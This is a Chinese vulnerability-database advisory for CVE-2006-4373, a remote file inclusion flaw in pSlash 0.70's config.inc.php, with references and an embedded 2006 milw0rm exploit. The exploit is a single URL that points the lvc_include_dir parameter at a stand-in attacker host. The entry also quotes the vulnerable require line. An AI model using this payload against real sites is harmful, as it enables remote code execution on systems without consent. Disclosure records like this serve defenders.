PSlash 'config.inc.php' lvc_include_dir参数PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110890 漏洞类型 输入验证
发布时间 2006-08-23 更新时间 2007-09-18
CVE编号 CVE-2006-4373 CNNVD-ID CNNVD-200608-434
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2249
https://www.securityfocus.com/bid/19693
https://cxsecurity.com/issue/WLB-2006080158
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-434
|漏洞详情
pSlash0.70的modules/visitors2/include/config.inc.php脚本存在PHP远程文件包含漏洞,远程攻击者可借助lvc_include_dir参数中的URL执行任意PHP代码。
|漏洞EXP
############################################################

pSlash v0.7 (lvc_include_dir) Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  require($lvc_include_dir.'db/db_mysql.inc.php');

############################################################

#Exploit:
http://www.site.com/[path]/modules/visitors2/include/config.inc.php?lvc_include_dir=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, sakkkure

############################################################

# milw0rm.com [2006-08-23]
|受影响的产品
Derek Leung pSlash 0.70
|参考资料

来源:XF
名称:pslash-config-file-include(28543)
链接:http://xforce.iss.net/xforce/xfdb/28543
来源:BID
名称:19693
链接:http://www.securityfocus.com/bid/19693
来源:BUGTRAQ
名称:20060824pSlashv0.7(lvc_include_dir)RemoteIncludeVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/444204/100/0/threaded
来源:MILW0RM
名称:2249
链接:http://www.milw0rm.com/exploits/2249
来源:SECTRACK
名称:1016752
链接:http://securitytracker.com/id?1016752
来源:VIM
名称:20060825SourceVERIFYofpSlash0.7fileinclude
链接:http://www.attrition.org/pipermail/vim/2006-August/000993.html
来源:SREASON
名称:1449
链接:http://securityreason.com/securityalert/1449
来源:MILW0RM
名称:2249
链接:http://milw0rm.com/exploits/2249